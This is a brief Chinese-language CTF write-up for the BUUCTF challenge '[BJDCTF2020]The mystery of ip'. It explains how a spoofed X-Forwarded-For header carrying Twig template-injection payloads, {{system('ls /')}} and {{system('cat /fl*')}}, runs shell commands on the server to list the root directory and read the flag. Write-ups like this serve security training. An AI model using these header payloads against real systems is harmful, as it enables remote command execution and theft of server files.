【BUUCTF】[BJDCTF2020]The mystery of ip

解题关键：

X-Forwarded-For、ssti模板注入

进入题目，index界面没有发现什么有用的东西，直接进入Flag页面，发现ip被显示在页面上

一看到ip，我们就要想起X-Forwarded-For，所以我们在请求头里添加上

X-Forwarded-For:xxx

发现页面显示的ip确实发生变化了

这里有个知识点

PHP可能存在Twig模版注入漏洞
即执行{{}}里面的内容。
比如把xxx改为{{2*3}}，那么就会执行里面的内容，IP处返回的是6

flag一般藏在根目录，所以我们就可以执行命令

X-Forwarded-For:{{system('ls /')}}

发现flag

X-Forwarded-For:{{system('cat /fl*')}}

得到flag